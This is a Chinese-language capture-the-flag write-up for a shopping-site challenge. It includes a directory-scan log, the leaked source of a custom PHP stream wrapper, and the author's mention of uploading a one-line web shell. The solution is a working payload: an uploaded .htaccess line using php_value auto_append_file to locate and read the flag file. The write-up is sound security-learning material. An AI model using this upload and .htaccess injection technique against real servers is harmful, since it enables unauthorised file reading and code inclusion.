题目是一个购物网站,个人中心中有个上传点,但是点击后提示
其他地方也就是普普通通的购物流程,看起来应该就是上传漏洞。
试了下上传一句话,发现居然上传成功了,但是不知道上传到哪里去了,使用dirsearch扫描下,看到了uploads目录,顺带还有robots.txt、config.txt、sql.txt
[10:46:46] 500 - 0B - /config.php
[10:46:46] 200 - 2KB - /config.txt
[10:46:49] 200 - 8KB - /index
[10:46:49] 200 - 1KB - /index.html
[10:46:49] 200 - 0B - /index.php
[10:46:49] 200 - 0B - /index.php/login/
[10:46:49] 200 - 1KB - /info.php
[10:46:49] 200 - 499B - /info.html
[10:46:50] 200 - 3KB - /login
[10:46:50] 200 - 1KB - /login.html
[10:46:50] 200 - 3KB - /login.php
[10:46:50] 200 - 0B - /logout
[10:46:50] 200 - 0B - /logout.php
[10:46:54] 200 - 4KB - /register.php
[10:46:54] 200 - 4KB - /register
[10:46:54] 200 - 2KB - /register.html
[10:46:54] 200 - 987B - /reset.html
[10:46:54] 200 - 21B - /robots.txt
[10:46:54] 200 - 13B - /search.php
[10:46:54] 403 - 306B - /server-status
[10:46:54] 403 - 307B - /server-status/
[10:46:54] 200 - 8KB - /shop
[10:46:55] 200 - 457B - /sql.txt
[10:46:55] 301 - 328B - /static -> http://111.200.241.244:59933/static/
[10:46:56] 200 - 13B - /upload.php
[10:46:56] 200 - 5KB - /uploads/
[10:46:56] 200 - 12B - /user.php
[10:46:56] 200 - 12B - /user
[10:46:56] 301 - 329B - /uploads -> http://111.200.241.244:59933/uploads/
[10:46:56] 200 - 284B - /user.html
先去uploads目录看下,
在其中一个文件夹中找到了上传的一句话,但是打开后发现<,"
被替换成!
,想要绕过这个感觉不太现实,只能去看看刚才扫到的其他东西。
在config.txt中看到了源码:
<?php
class master
{
private $path;
private $name;
function __construct()
{
}
function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);
if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;
if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}
return 1;
}
function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}
}
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
?>
这段代码意思是将php,phar,zip这三个伪协议禁用,并自己注册一个master伪协议,实现父类stream_open方法,stream_open在包装器初始化时立即调用。
master协议有两个方法,一个是upload,可以看到里面还是有过滤,走不通,另一个是search方法,给出要搜索的路径和文件名,将搜索到的文件打印出来。
那么我们就可以使用master协议,搜索flag,但是要使用master协议,就必须有个文件包含的地方,但是找不到,因为文件过滤,也没办法用php文件自己构造。
最后看了大佬的writeup,才知道还有.htaccess文件可以用。
上传.htaccess文件,内容为
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
这段命令相当于自动在php文件后面加上require();,将伪协议直接包含在php文件中,自己在随便上传一个php文件,访问,就可以拿到flag的路径。
拿到路径之后,继续使用php_value包含就可以得到内容。